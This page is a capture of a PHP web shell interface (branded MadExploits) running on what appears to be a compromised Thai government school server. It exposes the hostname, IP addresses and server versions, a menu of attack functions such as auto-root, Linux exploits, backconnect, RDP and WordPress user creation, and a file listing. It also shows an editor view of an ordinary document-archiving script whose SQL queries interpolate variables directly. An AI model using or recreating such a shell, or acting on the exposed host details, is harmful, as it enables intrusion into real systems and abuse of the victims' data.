Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
book /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
book_delay.php
14.43
KB
-rw-r--r--
bookdetail.php
13.23
KB
-rwxr-xr-x
bookdetail_group.php
20.9
KB
-rwxr-xr-x
bookdetail_khet_person.php
16.14
KB
-rwxr-xr-x
bookdetail_khet_total.php
11.85
KB
-rwxr-xr-x
bookdetail_khet_total_2.php
11.87
KB
-rw-r--r--
bookdetail_saraban.php
18.39
KB
-rwxr-xr-x
bookdetail_school_person.php
13.71
KB
-rwxr-xr-x
bookdetail_school_saraban.php
20.33
KB
-rwxr-xr-x
bookdetail_school_total.php
10.3
KB
-rwxr-xr-x
bookdetail_school_total_2.php
10.69
KB
-rw-r--r--
booksenddetail.php
9.98
KB
-rwxr-xr-x
booksenddetail_2.php
10.38
KB
-rw-r--r--
group.php
5.46
KB
-rwxr-xr-x
group_member.php
4.19
KB
-rwxr-xr-x
group_member_report.php
2.68
KB
-rwxr-xr-x
livesearch.php
742
B
-rwxr-xr-x
livesearch_2.php
744
B
-rwxr-xr-x
livesearch_3.php
681
B
-rwxr-xr-x
move_book.php
6.11
KB
-rw-r--r--
person_chk.php
859
B
-rwxr-xr-x
receive.php
27.38
KB
-rw-r--r--
receive.php-OLD
26.39
KB
-rwxr-xr-x
receive.php==1
25.38
KB
-rwxr-xr-x
receive00.php
25.8
KB
-rwxr-xr-x
receive11.php
26.13
KB
-rwxr-xr-x
receive_mobile.php
23.72
KB
-rwxr-xr-x
report_1.php
13.08
KB
-rw-r--r--
report_2.php
13.21
KB
-rw-r--r--
select_send.php
9.07
KB
-rwxr-xr-x
select_send_2.php
8.78
KB
-rwxr-xr-x
send.php
41.59
KB
-rw-r--r--
send.php--1
35.79
KB
-rwxr-xr-x
send.php-OLD
40.13
KB
-rwxr-xr-x
send.php.save
38.56
KB
-rwxr-xr-x
send.php_bkkk
38.48
KB
-rwxr-xr-x
send_2.php
15.54
KB
-rwxr-xr-x
send_mobile.php
33.85
KB
-rwxr-xr-x
send_sch_2.php
11.96
KB
-rwxr-xr-x
sendto_show.php
2.31
KB
-rwxr-xr-x
z.php
248
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : move_book.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); require_once "modules/book/time_inc.php"; $user_db=$user; //ส่วนหัว echo "<br />"; echo "<table width='100%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>ย้ายหนังสือราชการที่อายุเกิน 2 ปี ไปเก็บสำรอง</strong></font></td></tr>"; if(!($index==1)){ echo "<tr align='center'><td><font color='#006666' size='2'>1. ข้อมูลหนังสือราชการที่เกิน 2 ปี จะย้ายไปเก็บที่ฐานข้อมูลสำรอง เพื่อให้ระบบปัจจุบันทำงานได้รวดเร็ว</font></td></tr>"; echo "<tr align='center'><td><font color='#006666' size='2'>2. การย้ายข้อมูลใน Page นี้ จะใช้กรณีมีข้อมูลเกิน 2 ปีจำนวนมากอยู่ก่อนแล้ว เพื่อช่วยย้ายได้เร็วขึ้น โดยจะย้ายครั้งละ 300 รายการ</font></td></tr>"; echo "<tr align='center'><td><font color='#006666' size='2'>3. หลังจากเปิดใช้งานฐานข้อมูลสำรอง ระบบจะทำการย้ายให้โดยอัตโนมัติ การย้ายใน Page นี้ ก็จะไม่มีความจำเป็นอีกต่อไป</font></td></tr>"; } echo "</table>"; echo "<br>"; //ส่วนฟอร์มรับข้อมูล if($index==1){ // **ส่วนของการย้ายข้อมูลไป amssplus_reserve ///////// if(isset($amssplus_reserve)){ $amssplus_reserve=$amssplus_reserve; } else{ $amssplus_reserve="amssplus_reserve"; } $connect_reserve=@mysqli_connect($hostname,$user_db,$password,$amssplus_reserve); ///////// if($connect_reserve){ mysqli_query($connect_reserve,"SET NAMES utf8"); $date_now=date('Y-m-d'); $f_date_now=explode("-", $date_now); $y_date[0]=$f_date_now[0]-2; //ย้อนหลัง 2 ปี $previous_date=$y_date[0]."-".$f_date_now[1]."-".$f_date_now[2]." "." 00:00:00"; $sql= "select * from book_main where send_date<'$previous_date' limit 300"; $dbquery_bookmain = mysqli_query($connect,$sql); $num_row=0; While ($result_bookmain = mysqli_fetch_array($dbquery_bookmain)){ $answer_del=0; $file_del=0; $sql = "insert into book_main (book_type, sender, office, level, secret, bookno, signdate, subject, detail, ref_id, send_date,bookregis_link) values ('$result_bookmain[1]','$result_bookmain[2]', '$result_bookmain[3]','$result_bookmain[4]', '$result_bookmain[5]', '$result_bookmain[6]', '$result_bookmain[7]','$result_bookmain[8]','$result_bookmain[9]','$result_bookmain[10]','$result_bookmain[11]','$result_bookmain[12]')"; if($dbquery = mysqli_query($connect_reserve,$sql)){ //book_sendto_answer $sql= "select * from book_sendto_answer where ref_id='$result_bookmain[ref_id]' "; $dbquery_ref = mysqli_query($connect,$sql); While ($result_ref = mysqli_fetch_array($dbquery_ref)){ $sql_ref2 = "insert into book_sendto_answer (send_level,ref_id,send_to,school,status,answer,answer_time,forward_from,rec_forward_date) values ('$result_ref[1]','$result_ref[2]','$result_ref[3]','$result_ref[4]','$result_ref[5]','$result_ref[6]','$result_ref[7]','$result_ref[8]','$result_ref[9]')"; if($dbquery_ref_2 = mysqli_query($connect_reserve,$sql_ref2)){ $answer_del=1; }//end if }//end while //book_filebook $sql= "select * from book_filebook where ref_id='$result_bookmain[ref_id]' "; $dbquery_ref3 = mysqli_query($connect,$sql); While ($result_ref3= mysqli_fetch_array($dbquery_ref3)){ $sql_ref4 = "insert into book_filebook (ref_id,file_name,file_des) values ('$result_ref3[1]','$result_ref3[2]','$result_ref3[3]')"; if($dbquery_ref_4 = mysqli_query($connect_reserve,$sql_ref4)){ $file_del=1; }//end if }//end while } //end if //ลบข้อมูล if($answer_del==1){ $sql = "delete from book_sendto_answer where ref_id='$result_bookmain[ref_id]' "; $dbquery = mysqli_query($connect,$sql); } if($file_del==1){ $sql = "delete from book_filebook where ref_id='$result_bookmain[ref_id]' "; $dbquery = mysqli_query($connect,$sql); } $sql = "delete from book_main where ref_id='$result_bookmain[ref_id]' "; $dbquery = mysqli_query($connect,$sql); $num_row++; } //end while main mysqli_close($connect_reserve); $sql = "select send_date from book_main order by ms_id asc limit 1"; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); $send_date=$result['send_date']; $send_date=thai_date_4($send_date); echo "<table width='70%' border='0' align='center'>"; echo "<tr align='left'><td><font color='#006666' size='2'>ย้ายข้อมูลหนังสือราชการแล้ว จำนวน $num_row รายการ</font></td></tr>"; echo "<tr align='left'><td><font color='#006666' size='2'>รายการหนังสือราชการเก่าสุดในระบบ คือ $send_date</font></td></tr>"; echo "</table>"; echo "<br />"; } else{ echo "<table width='70%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#FE2E2E' size='2'>ยังไม่มีฐานข้อมูลสำรอง ระบบไม่สามารถดำเนินการได้</font></td></tr>"; echo "</table>"; echo "<br />"; } // ** } // enf if index==1 echo "<table width='50%' border='0' align='center'>"; echo "<Tr><Td align='center'><INPUT TYPE='button' name='smb' value='ย้ายข้อมูล' onclick='location.href=\"?option=book&task=main/move_book&index=1\"'</Td></Tr>"; echo "</Table>"; ?>
Close